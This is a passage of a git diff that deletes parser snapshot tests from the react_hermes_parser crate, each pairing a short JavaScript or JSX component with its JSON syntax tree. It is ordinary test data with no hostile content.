-                          ]
-                        },
-                        "operator": "*",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            111,
-                            112
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          104,
-                          112
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      95,
-                      113
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    114
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                65,
-                118
-              ]
-            },
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  126,
-                  127
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "length",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  128,
-                  134
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                126,
-                134
-              ]
-            },
-            "loc": null,
-            "range": [
-              62,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "ret",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                146,
-                149
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              150
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          152
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        152
-      ],
-      "loc": null,
-      "range": [
-        0,
-        152
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    152
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dominator.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dominator.js.snap
deleted file mode 100644
index 255e03419872..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dominator.js.snap
+++ /dev/null
@@ -1,784 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/dominator.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  label: if (props.a) {
-    x = 1;
-  } else {
-    if (props.b) {
-      x = 2;
-    } else {
-      break label;
-    }
-    x = 3;
-  }
-  label2: switch (props.c) {
-    case "a": {
-      x = 4;
-      break;
-    }
-    case "b": {
-      break label2;
-    }
-    case "c": {
-      x = 5;
-      // intentional fallthrough
-    }
-    default: {
-      x = 6;
-    }
-  }
-  if (props.d) {
-    return null;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                43,
-                48
-              ]
-            },
-            "body": {
-              "type": "IfStatement",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  54,
-                  61
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          70
-                        ]
-                      },
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        69,
-                        74
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      75
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  63,
-                  79
-                ]
-              },
-              "alternate": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          100
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          101,
-                          102
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        95,
-                        102
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                112,
-                                113
-                              ]
-                            },
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 2.0,
-                              "loc": null,
-                              "range": [
-                                116,
-                                117
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              112,
-                              117
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            112,
-                            118
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        104,
-                        124
-                      ]
-                    },
-                    "alternate": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "BreakStatement",
-                          "label": {
-                            "type": "Identifier",
-                            "name": "label",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              144,
-                              149
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            138,
-                            150
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        130,
-                        156
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      91,
-                      156
-                    ]
-                  },
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          161,
-                          162
-                        ]
-                      },
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 3.0,
-                        "loc": null,
-                        "range": [
-                          165,
-                          166
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        161,
-                        166
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      161,
-                      167
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  85,
-                  171
-                ]
-              },
-              "loc": null,
-              "range": [
-                50,
-                171
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              171
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label2",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                180
-              ]
-            },
-            "body": {
-              "type": "SwitchStatement",
-              "discriminant": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    190,
-                    195
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    196,
-                    197
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  190,
-                  197
-                ]
-              },
-              "cases": [
-                {
-                  "type": "SwitchCase",
-                  "test": {
-                    "type": "StringLiteral",
-                    "value": "a",
-                    "loc": null,
-                    "range": [
-                      210,
-                      213
-                    ]
-                  },
-                  "consequent": [
-                    {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                223,
-                                224
-                              ]
-                            },
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 4.0,
-                              "loc": null,
-                              "range": [
-                                227,
-                                228
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              223,
-                              228
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            223,
-                            229
-                          ]
-                        },
-                        {
-                          "type": "BreakStatement",
-                          "label": null,
-                          "loc": null,
-                          "range": [
-                            236,
-                            242
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        215,
-                        248
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    205,
-                    248
-                  ]
-                },
-                {
-                  "type": "SwitchCase",
-                  "test": {
-                    "type": "StringLiteral",
-                    "value": "b",
-                    "loc": null,
-                    "range": [
-                      258,
-                      261
-                    ]
-                  },
-                  "consequent": [
-                    {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "BreakStatement",
-                          "label": {
-                            "type": "Identifier",
-                            "name": "label2",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              277,
-                              283
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            271,
-                            284
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        263,
-                        290
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    253,
-                    290
-                  ]
-                },
-                {
-                  "type": "SwitchCase",
-                  "test": {
-                    "type": "StringLiteral",
-                    "value": "c",
-                    "loc": null,
-                    "range": [
-                      300,
-                      303
-                    ]
-                  },
-                  "consequent": [
-                    {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                313,
-                                314
-                              ]
-                            },
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 5.0,
-                              "loc": null,
-                              "range": [
-                                317,
-                                318
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              313,
-                              318
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            313,
-                            319
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        305,
-                        358
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    295,
-                    358
-                  ]
-                },
-                {
-                  "type": "SwitchCase",
-                  "test": null,
-                  "consequent": [
-                    {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                380,
-                                381
-                              ]
-                            },
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 6.0,
-                              "loc": null,
-                              "range": [
-                                384,
-                                385
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              380,
-                              385
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            380,
-                            386
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        372,
-                        392
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    363,
-                    392
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                182,
-                396
-              ]
-            },
-            "loc": null,
-            "range": [
-              174,
-              396
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  403,
-                  408
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  409,
-                  410
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                403,
-                410
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      425,
-                      429
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    418,
-                    430
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                412,
-                434
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              399,
-              434
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                444,
-                445
-              ]
-            },
-            "loc": null,
-            "range": [
-              437,
-              446
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          448
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        448
-      ],
-      "loc": null,
-      "range": [
-        0,
-        448
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    448
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@early-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@early-return.js.snap
deleted file mode 100644
index 5ae412f8c9a0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@early-return.js.snap
+++ /dev/null
@@ -1,208 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/early-return.js
----
-Input:
-function MyApp(props) {
-  let res;
-  if (props.cond) {
-    return;
-  } else {
-    res = 1;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "MyApp",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          14
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            15,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "res",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    33
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  30,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              34
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  41,
-                  46
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  47,
-                  51
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                41,
-                51
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    66
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                53,
-                70
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "res",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        82,
-                        85
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      82,
-                      89
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    90
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              37,
-              94
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          96
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        96
-      ],
-      "loc": null,
-      "range": [
-        0,
-        96
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    96
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.computed-lval-in-destructure.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.computed-lval-in-destructure.js.snap
deleted file mode 100644
index 83420d2331fc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.computed-lval-in-destructure.js.snap
+++ /dev/null
@@ -1,239 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error._todo.computed-lval-in-destructure.js
----
-Input:
-function Component(props) {
-  const computedKey = props.key;
-  const { [computedKey]: x } = props.val;
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "computedKey",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    47
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      50,
-                      55
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "key",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      59
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    50,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "computedKey",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          72,
-                          83
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          86,
-                          87
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": true,
-                      "shorthand": false,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        71,
-                        87
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    69,
-                    89
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      92,
-                      97
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "val",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      98,
-                      101
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    92,
-                    101
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  101
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              102
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.multi-arrow-expr-export-default-gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.multi-arrow-expr-export-default-gating-test.js.snap
deleted file mode 100644
index a122ef5ea2a4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error._todo.multi-arrow-expr-export-default-gating-test.js.snap
+++ /dev/null
@@ -1,400 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error._todo.multi-arrow-expr-export-default-gating-test.js
----
-Input:
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "const",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "ErrorView",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              17,
-              26
-            ]
-          },
-          "init": {
-            "type": "ArrowFunctionExpression",
-            "id": null,
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "error",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              },
-              {
-                "type": "Identifier",
-                "name": "_retry",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "body": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    49,
-                    59
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "error",
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "error",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        66,
-                        73
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      60,
-                      73
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  48,
-                  74
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    76,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                87
-              ]
-            },
-            "generator": true,
-            "async": false,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ],
-            "expression": true,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ]
-          },
-          "loc": null,
-          "range": [
-            17,
-            87
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        11,
-        88
-      ]
-    },
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "AssignmentExpression",
-        "operator": "=",
-        "left": {
-          "type": "Identifier",
-          "name": "Renderer",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            105,
-            113
-          ]
-        },
-        "right": {
-          "type": "ArrowFunctionExpression",
-          "id": null,
-          "params": [
-            {
-              "type": "Identifier",
-              "name": "props",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                117,
-                122
-              ]
-            }
-          ],
-          "body": {
-            "type": "JSXElement",
-            "openingElement": {
-              "type": "JSXOpeningElement",
-              "name": {
-                "type": "JSXIdentifier",
-                "name": "Foo",
-                "loc": null,
-                "range": [
-                  132,
-                  135
-                ]
-              },
-              "attributes": [],
-              "selfClosing": false,
-              "loc": null,
-              "range": [
-                131,
-                136
-              ]
-            },
-            "children": [
-              {
-                "type": "JSXText",
-                "value": "\n    ",
-                "raw": "\n    ",
-                "loc": null,
-                "range": [
-                  136,
-                  141
-                ]
-              },
-              {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      142,
-                      145
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    141,
-                    146
-                  ]
-                },
-                "children": [],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      148,
-                      151
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    146,
-                    152
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  141,
-                  152
-                ]
-              },
-              {
-                "type": "JSXText",
-                "value": "\n    ",
-                "raw": "\n    ",
-                "loc": null,
-                "range": [
-                  152,
-                  157
-                ]
-              },
-              {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "ErrorView",
-                    "loc": null,
-                    "range": [
-                      158,
-                      167
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    157,
-                    168
-                  ]
-                },
-                "children": [],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "ErrorView",
-                    "loc": null,
-                    "range": [
-                      170,
-                      179
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    168,
-                    180
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  157,
-                  180
-                ]
-              },
-              {
-                "type": "JSXText",
-                "value": "\n  ",
-                "raw": "\n  ",
-                "loc": null,
-                "range": [
-                  180,
-                  183
-                ]
-              }
-            ],
-            "closingElement": {
-              "type": "JSXClosingElement",
-              "name": {
-                "type": "JSXIdentifier",
-                "name": "Foo",
-                "loc": null,
-                "range": [
-                  185,
-                  188
-                ]
-              },
-              "loc": null,
-              "range": [
-                183,
-                189
-              ]
-            },
-            "loc": null,
-            "range": [
-              131,
-              189
-            ]
-          },
-          "generator": true,
-          "async": false,
-          "loc": null,
-          "range": [
-            116,
-            191
-          ],
-          "expression": true,
-          "loc": null,
-          "range": [
-            116,
-            191
-          ]
-        },
-        "loc": null,
-        "range": [
-          105,
-          191
-        ]
-      },
-      "loc": null,
-      "range": [
-        90,
-        192
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    11,
-    192
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.babel-existing-react-namespace-import.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.babel-existing-react-namespace-import.js.snap
deleted file mode 100644
index 30dfe9d72d4a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.babel-existing-react-namespace-import.js.snap
+++ /dev/null
@@ -1,756 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.babel-existing-react-namespace-import.js
----
-Input:
-import * as React from "react";
-
-function Component(props) {
-  const [x] = React.useState(0);
-  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
